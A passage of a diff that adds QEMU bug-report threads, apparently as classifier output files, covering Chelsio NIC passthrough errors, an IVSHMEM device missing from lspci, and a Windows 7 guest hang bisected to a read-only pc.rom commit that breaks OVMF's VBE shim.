should I just be bale to do it with a single device ID? + +Created attachment 620 +New errors given by make after installing libproxmox-backup-qemu0 + +There's no relevant error in the output you posted? You should have two files 'pve-qemu-kvm_5.1.0-1_amd64.deb' and 'pve-qemu-kvm-dbg_5.1.0-1_amd64.deb' in the repository root now, which you can install with 'apt install ./*.deb' or similar. If not, you might need a 'make clean' before the 'make deb'. + +> Just so that I understand it correctly, does the value that +> PCI_VENDOR_ID_CHELSIO stores equal 1425? Since I have two of the same +> Chelsio NIC installed, would that mean that I have to insert both 8100 and +> 8300 as my device IDs for my two cards in the patch, and have it evaluate +> whether they are equal to the value at vdev->device_id for the if statement +> the same way you did? Or should I just be bale to do it with a single device +> ID? + +# rg "PCI_VENDOR_ID_CHELSIO" + include/hw/pci/pci_ids.h + 219:#define PCI_VENDOR_ID_CHELSIO 0x1425 + +Yes. + +And also yes, if you need two different device IDs you need to add more clauses to the 'or', e.g.: + + ((vdev->device_id & 0xff00) == 0x5800 || + (vdev->device_id & 0xff00) == 0x8100) || + (vdev->device_id & 0xff00) == 0x8300)) { + +Yes, you were right, I thought the warnings being set to evaluate as errors would stop the build, but I completely missed where it said it built the .deb packages. I got it built and installed this time, but I still get the same error when I attempt to boot a vm with the Chelsio cards. I have started a bug report with the upstream qemu devs. + +Yeah, I figured out that the logic behind that patch was failed and corrected it to get the same error again already. Just to clarify, it is two of the same card giving the same error. I ran dmesg --level=err, but got no output. In the full output of dmesg, though, I noticed that there are some problems with the nics, but I don't know enough about this to know if there's anything I can do about it. I included dmesg output here. I don't believe the nics are giving the host any functionality since I added the driver for them to the blacklist, so it shouldn't even be getting loaded by it. In case it's useful, I'm not sure if SR-IOV is enabled on these cards or not, though I'm trying to use PCI passthrough for my VMs. + +I don't understand the purpose of function 7 on these cards, the class code indicates an Ethernet device, but without any BARs, I very much doubt that the functions provide any useful service. Config space is invalid for the function as QEMU identifies, the referenced BAR resource for the MSI-X vector table and PBA is invalid. Without proving that the function provides an actual netdev interface in the host, I don't see any value to adding a quirk to work around the invalid MSI-X capability. The solution is to simply not assign this function to a VM. + +SR-IOV is not enable on these cards. Perhaps enabling SR-IOV would provide the additional NICs you're trying to assign. + +I was able to boot a VM with just the functions of the device with the ethernet controller function ID added as PCI devices. Something I noticed while adding in those devices though is that all of the others have a description associated with them in Proxmox, but the one that's causing the boot to fail doesn't. I attached a picture of the menu, 81:00.7 has no functions associated with it. So it seems like it just doesn't have any function at all? Unless it benefits QEMU to know whether turning SR-IOV on for these cards fixes the problem, I don't think I'm going to go through the process of turning it on, since the process looks terrible. Thank you for your help. + +The device ID on function 7 is 0x0000 which is typically not valid, there's no entry for it in the PCI IDs database. Someone from Chelsio would need to explain why it's even exposed, but there doesn't seem to be any value in quirking it since it provides no useful function. + +https://bugs.launchpad.net/qemu/+bug/1894869 + +Here's the discussion with the upstream devs. The problem ended up being on Chelsio's part as either the .7 funciton fo these cards should not have even been exposed to the OS in the first place, or SR-IOV is necessary to actually correct the parameters of this function. Unfortunately, it looks like SR-IOV is no longer possible to enable on these cards. Thank you for your help. + diff --git a/results/classifier/deepseek-1/output/Name]/1917394 b/results/classifier/deepseek-1/output/Name]/1917394 new file mode 100644 index 00000000..b709e184 --- /dev/null +++ b/results/classifier/deepseek-1/output/Name]/1917394 @@ -0,0 +1,391 @@ + +command lspci does not show the IVSHMEM device + +qeum version: +QEMU emulator version 4.2.1 + +I met a problem when I tried to use IVSHMEM. Command lspci does not show the IVSHMEM device. +Below is the configuration from my side: + +1. guest vm xml configuration. + <shmem name='ivshmem'> + <model type='ivshmem-plain'/> + <size unit='M'>2</size> + <address type='pci' domain='0x0000' bus='0x00' slot='0x10' function='0x0'/> + </shmem> + +2. after the booting up and I found the qemu commandline ideedly have the device option: +ps aux | grep ivshmem + /usr/bin/qemu-system-x86_64 + .......(ignore other options) +-object memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 + +3. lspci command not shown the device. + +4. lshw command indeedly show the device: + +*-memory UNCLAIMED + description: RAM memory + product: Inter-VM shared memory + vendor: Red Hat, Inc. + physical id: 10 + bus info: pci@0000:00:10.0 + version: 01 + width: 64 bits + clock: 33MHz (30.3ns) + configuration: latency=0 + resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff + +My host and vm os is ubuntu 20.04 and version is: +#49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux + +Hi ChangLimin, + +Thanks for your reply. I checked again to find the device... I thought the +name was ivshmem. +I don't find any driver code for IVSHMEM in the linux and qemu repo. Can +you give me some help? + +00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +Subsystem: Red Hat, Inc. QEMU Virtual Machine +Flags: fast devsel +Memory at fcc1c000 (32-bit, non-prefetchable) [size=256] +Memory at fdc00000 (64-bit, prefetchable) [size=4M] + +Thanks, +Sean + + + + + + +On Tue, Mar 2, 2021 at 3:31 PM ChangLimin <email address hidden> wrote: + +> Can you give the lspci messages? The below is my output. There is a RAM +> memory device. +> +> $ lspci +> 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev +> 02) +> 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] +> 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton +> II] +> 00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton +> II] (rev 01) +> 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) +> 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) +> 00:03.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +> 00:04.0 Ethernet controller: Red Hat, Inc. Virtio network device +> 00:05.0 SCSI storage controller: Red Hat, Inc. Virtio SCSI +> 00:06.0 Communication controller: Red Hat, Inc. Virtio console +> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +> 01:07.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +> +> +> *From:* sean kuo <email address hidden> +> *Date:* 2021-03-02 11:24 +> *To:* qemu-devel <email address hidden> +> *Subject:* [Bug 1917394] [NEW] command lspci does not show the IVSHMEM +> device +> Public bug reported: +> +> qeum version: +> QEMU emulator version 4.2.1 +> +> I met a problem when I tried to use IVSHMEM. Command lspci does not show +> the IVSHMEM device. +> Below is the configuration from my side: +> +> 1. guest vm xml configuration. +> <shmem name='ivshmem'> +> <model type='ivshmem-plain'/> +> <size unit='M'>2</size> +> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +> function='0x0'/> +> </shmem> +> +> 2. after the booting up and I found the qemu commandline ideedly have the +> device option: +> ps aux | grep ivshmem +> /usr/bin/qemu-system-x86_64 +> .......(ignore other options) +> -object +> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +> +> 3. lspci command not shown the device. +> +> 4. lshw command indeedly show the device: +> +> *-memory UNCLAIMED +> description: RAM memory +> product: Inter-VM shared memory +> vendor: Red Hat, Inc. +> physical id: 10 +> bus info: pci@0000:00:10.0 +> version: 01 +> width: 64 bits +> clock: 33MHz (30.3ns) +> configuration: latency=0 +> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +> +> My host and vm os is ubuntu 20.04 and version is: +> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +> GNU/Linux +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1917394 +> +> Title: +> command lspci does not show the IVSHMEM device +> +> Status in QEMU: +> New +> +> Bug description: +> qeum version: +> QEMU emulator version 4.2.1 +> +> I met a problem when I tried to use IVSHMEM. Command lspci does not show +> the IVSHMEM device. +> Below is the configuration from my side: +> +> 1. guest vm xml configuration. +> <shmem name='ivshmem'> +> <model type='ivshmem-plain'/> +> <size unit='M'>2</size> +> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +> function='0x0'/> +> </shmem> +> +> 2. after the booting up and I found the qemu commandline ideedly have +> the device option: +> ps aux | grep ivshmem +> /usr/bin/qemu-system-x86_64 +> .......(ignore other options) +> -object +> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +> +> 3. lspci command not shown the device. +> +> 4. lshw command indeedly show the device: +> +> *-memory UNCLAIMED +> description: RAM memory +> product: Inter-VM shared memory +> vendor: Red Hat, Inc. +> physical id: 10 +> bus info: pci@0000:00:10.0 +> version: 01 +> width: 64 bits +> clock: 33MHz (30.3ns) +> configuration: latency=0 +> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +> +> My host and vm os is ubuntu 20.04 and version is: +> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +> GNU/Linux +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1917394/+subscriptions +> +> +> + + +Thanks so much ChangLimin! You saved me a lot of time. + + +Thanks, +Sean + +On Tue, Mar 2, 2021 at 4:15 PM ChangLimin <email address hidden> wrote: + +> There is no driver for it. You should write it by youself. Maybe you can +> refer to +> http://doc.dpdk.org/guides-1.8/prog_guide/ivshmem_lib.html and dpdk +> source. +> +> Gool luck! +> +> +> *From:* Sean Kuo <email address hidden> +> *Date:* 2021-03-02 15:59 +> *To:* ChangLimin <email address hidden> +> *CC:* Bug 1917394 <email address hidden>; qemu-devel +> <email address hidden> +> *Subject:* Re: [Bug 1917394] [NEW] command lspci does not show the +> IVSHMEM device +> Hi ChangLimin, +> +> Thanks for your reply. I checked again to find the device... I thought the +> name was ivshmem. +> I don't find any driver code for IVSHMEM in the linux and qemu repo. Can +> you give me some help? +> +> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +> Subsystem: Red Hat, Inc. QEMU Virtual Machine +> Flags: fast devsel +> Memory at fcc1c000 (32-bit, non-prefetchable) [size=256] +> Memory at fdc00000 (64-bit, prefetchable) [size=4M] +> +> Thanks, +> Sean +> +> +> +> +> +> +> On Tue, Mar 2, 2021 at 3:31 PM ChangLimin <email address hidden> wrote: +> +>> Can you give the lspci messages? The below is my output. There is a RAM +>> memory device. +>> +>> $ lspci +>> 00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev +>> 02) +>> 00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II] +>> 00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton +>> II] +>> 00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB +>> [Natoma/Triton II] (rev 01) +>> 00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03) +>> 00:02.0 VGA compatible controller: Device 1234:1111 (rev 02) +>> 00:03.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +>> 00:04.0 Ethernet controller: Red Hat, Inc. Virtio network device +>> 00:05.0 SCSI storage controller: Red Hat, Inc. Virtio SCSI +>> 00:06.0 Communication controller: Red Hat, Inc. Virtio console +>> 00:10.0 RAM memory: Red Hat, Inc. Inter-VM shared memory (rev 01) +>> 01:07.0 PCI bridge: Red Hat, Inc. QEMU PCI-PCI bridge +>> +>> +>> *From:* sean kuo <email address hidden> +>> *Date:* 2021-03-02 11:24 +>> *To:* qemu-devel <email address hidden> +>> *Subject:* [Bug 1917394] [NEW] command lspci does not show the IVSHMEM +>> device +>> Public bug reported: +>> +>> qeum version: +>> QEMU emulator version 4.2.1 +>> +>> I met a problem when I tried to use IVSHMEM. Command lspci does not show +>> the IVSHMEM device. +>> Below is the configuration from my side: +>> +>> 1. guest vm xml configuration. +>> <shmem name='ivshmem'> +>> <model type='ivshmem-plain'/> +>> <size unit='M'>2</size> +>> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +>> function='0x0'/> +>> </shmem> +>> +>> 2. after the booting up and I found the qemu commandline ideedly have +>> the device option: +>> ps aux | grep ivshmem +>> /usr/bin/qemu-system-x86_64 +>> .......(ignore other options) +>> -object +>> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +>> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +>> +>> 3. lspci command not shown the device. +>> +>> 4. lshw command indeedly show the device: +>> +>> *-memory UNCLAIMED +>> description: RAM memory +>> product: Inter-VM shared memory +>> vendor: Red Hat, Inc. +>> physical id: 10 +>> bus info: pci@0000:00:10.0 +>> version: 01 +>> width: 64 bits +>> clock: 33MHz (30.3ns) +>> configuration: latency=0 +>> resources: memory:fcc1c000-fcc1c0ff memory:fdc00000-fdffffff +>> +>> My host and vm os is ubuntu 20.04 and version is: +>> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +>> GNU/Linux +>> +>> ** Affects: qemu +>> Importance: Undecided +>> Status: New +>> +>> -- +>> You received this bug notification because you are a member of qemu- +>> devel-ml, which is subscribed to QEMU. +>> https://bugs.launchpad.net/bugs/1917394 +>> +>> Title: +>> command lspci does not show the IVSHMEM device +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> qeum version: +>> QEMU emulator version 4.2.1 +>> +>> I met a problem when I tried to use IVSHMEM. Command lspci does not +>> show the IVSHMEM device. +>> Below is the configuration from my side: +>> +>> 1. guest vm xml configuration. +>> <shmem name='ivshmem'> +>> <model type='ivshmem-plain'/> +>> <size unit='M'>2</size> +>> <address type='pci' domain='0x0000' bus='0x00' slot='0x10' +>> function='0x0'/> +>> </shmem> +>> +>> 2. after the booting up and I found the qemu commandline ideedly have +>> the device option: +>> ps aux | grep ivshmem +>> /usr/bin/qemu-system-x86_64 +>> .......(ignore other options) +>> -object +>> memory-backend-file,id=shmmem-shmem0,mem-path=/dev/shm/hostmem,size=4194304,share=yes +>> -device ivshmem-plain,id=shmem0,memdev=shmmem-shmem0,bus=pcie.0,addr=0x10 +>> +>> 3. lspci command not shown the device. +>> +>> 4. lshw command indeedly show the device: +>> +>> *-memory UNCLAIMED +>> description: RAM memory +>> product: Inter-VM shared memory +>> vendor: Red Hat, Inc. +>> physical id: 10 +>> bus info: pci@0000:00:10.0 +>> version: 01 +>> width: 64 bits +>> clock: 33MHz (30.3ns) +>> configuration: latency=0 +>> resources: memory:fcc1c000-fcc1c0ff +>> memory:fdc00000-fdffffff +>> +>> My host and vm os is ubuntu 20.04 and version is: +>> #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021 x86_64 x86_64 x86_64 +>> GNU/Linux +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1917394/+subscriptions +>> +>> +>> + + +Sounds like this question has been solved, thus I'm closing this ticket now. + diff --git a/results/classifier/deepseek-1/output/OVMF./1715700 b/results/classifier/deepseek-1/output/OVMF./1715700 new file mode 100644 index 00000000..b8a04272 --- /dev/null +++ b/results/classifier/deepseek-1/output/OVMF./1715700 @@ -0,0 +1,540 @@ + +Windows 7 guest won't boot on qemu 2.10 (works on 2.9) + +Qemu version: 2.10 stable. +Guest: Windows 7 SP1 x64, virtio drivers are already installed in the guest. +Command line: +qemu-system-x86_64 \ + -nodefaults \ + -nodefconfig \ + -machine type=q35,accel=kvm \ + -enable-kvm \ + -cpu host \ + -m 2048 \ + -vga virtio \ + -boot menu=on \ + -smbios file=/path/dmidecode_BIOS.bin \ + -acpitable file=/path/acpi_slic.bin \ + -bios /path/OVMF_CODE.fd \ + -net none \ + -drive if=virtio,media=disk,file=/media/win7.qcow2 \ + -device pcie-root-port \ + -device ich9-usb-ehci1 \ + -device ich9-usb-uhci1 \ + -device ich9-usb-uhci2 \ + -device ich9-usb-uhci3 + +Windows hangs at boot with waving flag screen (flag doesn't freeze, keeps waving indefinitely). Same command line boots fine with Qemu 2.9. I tried changing machine type to pc-q35-2.9 - same result. + +Hi, + There's a good chance this is the same as lp 1714331 - fixed by a newer OVMF. + + +Compiled latest OVMF from git (ea21f1d), used it in "-bios" line - same result. What else can I try? + +On Thu, 07 Sep 2017 19:34:37 -0000 +Aleksei Kovura <email address hidden> wrote: + +> Compiled latest OVMF from git (ea21f1d), used it in "-bios" line - same +> result. What else can I try? +Bisecting 2.9 -> 2.10 might point out offending commit + + +Ok, so I cloned from github and am bisecting like this (it's been a while, correct me if I'm wrong): +$ git bisect start +$ git bisect bad 1ab5eb4efb91a3d4569b0df6e824cc08ab4bd8ec # 2.10.0 stable commit +$ git bisect good 359c41abe32638adad503e386969fa428cecff52 # 2.9.0 stable commit +Bisecting: 1426 revisions left to test after this (roughly 11 steps) +[269c20b2bbd2aa8531e0cdc741fb166f290d7a2b] tests/qdict: check more get_try_int() cases +$ mkdir -p bin/269c20b2bbd2aa8531e0cdc741fb166f290d7a2b +$ cd bin/269c20b2bbd2aa8531e0cdc741fb166f290d7a2b +$ ../../configure --target-list=x86_64-softmmu --python=/usr/bin/python2 --enable-debug + +Compilation fails with this (full log here https://pastebin.com/aUYyE6Bb): + + CC block/block-backend.o +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c: In function ‘blkdebug_refresh_filename’: +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c:843:31: error: ‘%s’ directive output may be truncated writing up to 4095 bytes into a region of size 4086 [-Werror=format-truncation=] + "blkdebug:%s:%s", s->config_file ?: "", + ^~ +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c:842:9: note: ‘snprintf’ output 11 or more bytes (assuming 4106) into a destination of size 4096 + snprintf(bs->exact_filename, sizeof(bs->exact_filename), + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + "blkdebug:%s:%s", s->config_file ?: "", + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + bs->file->bs->exact_filename); + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +cc1: all warnings being treated as errors +make: *** [/media/usb465gb_232gb_NTFS/compile/qemu/rules.mak:66: block/blkdebug.o] Error 1 +make: *** Waiting for unfinished jobs.... +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c: In function ‘blkverify_refresh_filename’: +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c:305:29: error: ‘%s’ directive output may be truncated writing up to 4095 bytes into a region of size 4086 [-Werror=format-truncation=] + "blkverify:%s:%s", + ^~ +/media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c:304:9: note: ‘snprintf’ output between 12 and 8202 bytes into a destination of size 4096 + snprintf(bs->exact_filename, sizeof(bs->exact_filename), + ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + "blkverify:%s:%s", + ~~~~~~~~~~~~~~~~~~ + bs->file->bs->exact_filename, + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + s->test_file->bs->exact_filename); + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +cc1: all warnings being treated as errors +make: *** [/media/usb465gb_232gb_NTFS/compile/qemu/rules.mak:66: block/blkverify.o] Error 1 + +Did I hit a commit with a broken build or something? What to do next? + +* Aleksei Kovura (<email address hidden>) wrote: +> Ok, so I cloned from github and am bisecting like this (it's been a while, correct me if I'm wrong): +> $ git bisect start +> $ git bisect bad 1ab5eb4efb91a3d4569b0df6e824cc08ab4bd8ec # 2.10.0 stable commit +> $ git bisect good 359c41abe32638adad503e386969fa428cecff52 # 2.9.0 stable commit +> Bisecting: 1426 revisions left to test after this (roughly 11 steps) +> [269c20b2bbd2aa8531e0cdc741fb166f290d7a2b] tests/qdict: check more get_try_int() cases +> $ mkdir -p bin/269c20b2bbd2aa8531e0cdc741fb166f290d7a2b +> $ cd bin/269c20b2bbd2aa8531e0cdc741fb166f290d7a2b +> $ ../../configure --target-list=x86_64-softmmu --python=/usr/bin/python2 --enable-debug +> +> Compilation fails with this (full log here +> https://pastebin.com/aUYyE6Bb): +> +> CC block/block-backend.o +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c: In function ‘blkdebug_refresh_filename’: +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c:843:31: error: ‘%s’ directive output may be truncated writing up to 4095 bytes into a region of size 4086 [-Werror=format-truncation=] +> "blkdebug:%s:%s", s->config_file ?: "", +> ^~ +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkdebug.c:842:9: note: ‘snprintf’ output 11 or more bytes (assuming 4106) into a destination of size 4096 +> snprintf(bs->exact_filename, sizeof(bs->exact_filename), +> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> "blkdebug:%s:%s", s->config_file ?: "", +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> bs->file->bs->exact_filename); +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> cc1: all warnings being treated as errors +> make: *** [/media/usb465gb_232gb_NTFS/compile/qemu/rules.mak:66: block/blkdebug.o] Error 1 +> make: *** Waiting for unfinished jobs.... +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c: In function ‘blkverify_refresh_filename’: +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c:305:29: error: ‘%s’ directive output may be truncated writing up to 4095 bytes into a region of size 4086 [-Werror=format-truncation=] +> "blkverify:%s:%s", +> ^~ +> /media/usb465gb_232gb_NTFS/compile/qemu/block/blkverify.c:304:9: note: ‘snprintf’ output between 12 and 8202 bytes into a destination of size 4096 +> snprintf(bs->exact_filename, sizeof(bs->exact_filename), +> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> "blkverify:%s:%s", +> ~~~~~~~~~~~~~~~~~~ +> bs->file->bs->exact_filename, +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> s->test_file->bs->exact_filename); +> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +> cc1: all warnings being treated as errors +> make: *** [/media/usb465gb_232gb_NTFS/compile/qemu/rules.mak:66: block/blkverify.o] Error 1 +> +> Did I hit a commit with a broken build or something? What to do next? + +It's just the newer compiler is more fussy than the old one so when you +bisect you're not getting fixes for newer compilers. You can pass +flags to the configure to use extra clfgas to turn this particular +warning off. + +Dave + +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1715700 +> +> Title: +> Windows 7 guest won't boot on qemu 2.10 (works on 2.9) +> +> Status in QEMU: +> New +> +> Bug description: +> Qemu version: 2.10 stable. +> Guest: Windows 7 SP1 x64, virtio drivers are already installed in the guest. +> Command line: +> qemu-system-x86_64 \ +> -nodefaults \ +> -nodefconfig \ +> -machine type=q35,accel=kvm \ +> -enable-kvm \ +> -cpu host \ +> -m 2048 \ +> -vga virtio \ +> -boot menu=on \ +> -smbios file=/path/dmidecode_BIOS.bin \ +> -acpitable file=/path/acpi_slic.bin \ +> -bios /path/OVMF_CODE.fd \ +> -net none \ +> -drive if=virtio,media=disk,file=/media/win7.qcow2 \ +> -device pcie-root-port \ +> -device ich9-usb-ehci1 \ +> -device ich9-usb-uhci1 \ +> -device ich9-usb-uhci2 \ +> -device ich9-usb-uhci3 +> +> Windows hangs at boot with waving flag screen (flag doesn't freeze, +> keeps waving indefinitely). Same command line boots fine with Qemu +> 2.9. I tried changing machine type to pc-q35-2.9 - same result. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1715700/+subscriptions +> +-- +Dr. David Alan Gilbert / <email address hidden> / Manchester, UK + + +The newer GCC compilers are more fussy - just add '--disable-werror' when running 'configure' to make it ignore the warning + +Bisected. Good thing Igor is already here :) + +208fa0e43645edd0b0d8f838857dfc79daff40a8 is the first bad commit +commit 208fa0e43645edd0b0d8f838857dfc79daff40a8 +Author: Igor Mammedov <email address hidden> +Date: Fri Jul 28 11:09:05 2017 +0200 + + pc: make 'pc.rom' readonly when machine has PCI enabled + + +Just did a test to be sure: pulled latest git (a9158a5cba955b79d580a252cc58ff44d154e370) - guest didn't launch. Reverted 208fa0e43645edd0b0d8f838857dfc79daff40a8 - guest launched successfully. + +Can someone please take a look at this? I don't want to get stuck at 2.9.0 :) + +Added Imammedo to this lp. + +Igor asked to add Gerd. + +could be this commit breaks vbeshim ... + +Thanks, Gerd, for the CC -- I agree, this commit (208fa0e43645) almost certainly breaks the VBE Shim. Displaying the patch with a bit larger context, + +> diff --git a/hw/i386/pc.c b/hw/i386/pc.c +> index 22e16031b03b..59435390ba62 100644 +> --- a/hw/i386/pc.c +> +++ b/hw/i386/pc.c +> @@ -1442,8 +1442,11 @@ void pc_memory_init(PCMachineState *pcms, +> +> option_rom_mr = g_malloc(sizeof(*option_rom_mr)); +> memory_region_init_ram(option_rom_mr, NULL, "pc.rom", PC_ROM_SIZE, +> &error_fatal); +> + if (pcmc->pci_enabled) { +> + memory_region_set_readonly(option_rom_mr, true); +> + } +> memory_region_add_subregion_overlap(rom_memory, +> PC_ROM_MIN_VGA, +> option_rom_mr, +> 1); + +and PC_ROM_MIN_VGA is #defined as 0xc0000 in "include/hw/loader.h". + +OVMF places the VBE Shim into the C segment, and points the 0x10 interrupt vector at it. See "OvmfPkg/QemuVideoDxe/VbeShim.c", function InstallVbeShim(): + +> SegmentC = 0xC0000; +> +> [...] +> +> // +> // Put the shim in place first. +> // +> Pam1Address = PCI_LIB_ADDRESS (0, 0, 0, 0x5A); +> // +> // low nibble covers 0xC0000 to 0xC3FFF +> // high nibble covers 0xC4000 to 0xC7FFF +> // bit1 in each nibble is Write Enable +> // bit0 in each nibble is Read Enable +> // +> Pam1 = PciRead8 (Pam1Address); +> PciWrite8 (Pam1Address, Pam1 | (BIT1 | BIT0)); +> +> // +> // We never added memory space during PEI or DXE for the C segment, so we +> // don't need to (and can't) allocate from there. Also, guest operating +> // systems will see a hole in the UEFI memory map there. +> // +> SegmentCPages = 4; +> +> ASSERT (sizeof mVbeShim <= EFI_PAGES_TO_SIZE (SegmentCPages)); +> CopyMem ((VOID *)(UINTN)SegmentC, mVbeShim, sizeof mVbeShim); +> +> [...] +> +> // +> // Clear Write Enable (bit1), keep Read Enable (bit0) set +> // +> PciWrite8 (Pam1Address, (Pam1 & ~BIT1) | BIT0); +> +> // +> // Second, point the Int10h vector at the shim. +> // +> Int0x10->Segment = (UINT16) ((UINT32)SegmentC >> 4); +> Int0x10->Offset = (UINT16) ((UINTN) (VbeModeInfo + 1) - SegmentC); + + +I'm not sure if I mentioned this before, but launchpad is an *abomination*. + +On Tue, 19 Sep 2017 10:39:00 -0000 +Gerd Hoffmann <email address hidden> wrote: + +> could be this commit breaks vbeshim ... +> + +is there a way to fix vbeshim instead of reverting RO limitation that commit introduced? + + +I'd also like to mention that, when we originally worked on the VBE Shim, I tried to put it elsewhere. Obviously it has to be pointed-to by a real mode interrupt vector, which limits quite a bit where it can go at all; the point is that I tried to put it into low *RAM* (under 640KB). + +It didn't work. Windows 7 would only accept the VBE Shim when it existed in the C segment, i.e. where a VGA option ROM would normally be located. + +This is just to say that moving the VBE Shim out of the C segment (into real-mode addressible RAM) will not work. + +The symptom described in the original report is likely due to + +- Windows following the 0x10 interrupt vector (from page 0) to the C segment, + +- copying a bunch of zeros into its real mode emulator from the C segment (where now no actual VBE code can be found), + +- and then seeing no results when the real mode emulator executes the zeros. + +On Tue, 19 Sep 2017 10:39:00 -0000 +Gerd Hoffmann <email address hidden> wrote: + +> could be this commit breaks vbeshim ... +> + +Did a bit of testing: w7 iso boots to install screen with seabios but +stuck at win boot logo with ovmf. + +I've heard (maybe wrongly) that seabios would also break in that case. + + + +What I mentioned earlier was not that SeaBIOS would break. + +Instead, I said that building OVMF, with the SeaBIOS CSM (Compatibility Support Module) embedded into it, would break, exactly the same way as the VBE Shim. + +Quoting the CSM Spec from Intel: "The CSM provides compatibility support between the Framework and traditional, legacy BIOS code and allows booting a traditional OS or booting an EFI OS off a device that requires a traditional option ROM (OpROM)." + +https://github.com/tianocore/tianocore.github.io/wiki/Compatibility-Support-Module + +Upstream edk2 contains no such module out of the box. However, SeaBIOS has been extended with a build target (CONFIG_CSM) that produces such a binary. This binary can be then embedded in the edk2 source tree (see "OvmfPkg/Csm/Csm16/ReadMe.txt"), and then OVMF can be built with -D CSM_ENABLE. + +This will allow OVMF to boot legacy OSes, and those OSes will think they are being booted on a legacy BIOS machine. + +While the SeaBIOS CSM itself is provided by the SeaBIOS project, the infrastructure that sets it up under UEFI comes from edk2. The two important drivers are -- built into OVMF only with -D CSM_ENABLE --: + +- IntelFrameworkModulePkg/Csm/LegacyBiosDxe/LegacyBiosDxe.inf + +- IntelFrameworkModulePkg/Csm/BiosThunk/VideoDxe/VideoDxe.inf + +The former driver (LegacyBiosDxe) needs write access to the memory area at 0xc0000, so that it can install legacy PCI option ROMs. The service it provides is called "EFI_LEGACY_BIOS_PROTOCOL.InstallPciRom"; it loads a traditional OpROM into traditional OpROM address space (0xC0000 to 0xFFFFF region). + +The latter driver (VideoDxe) asks the former driver to install such an option ROM (for video services) from the PCI 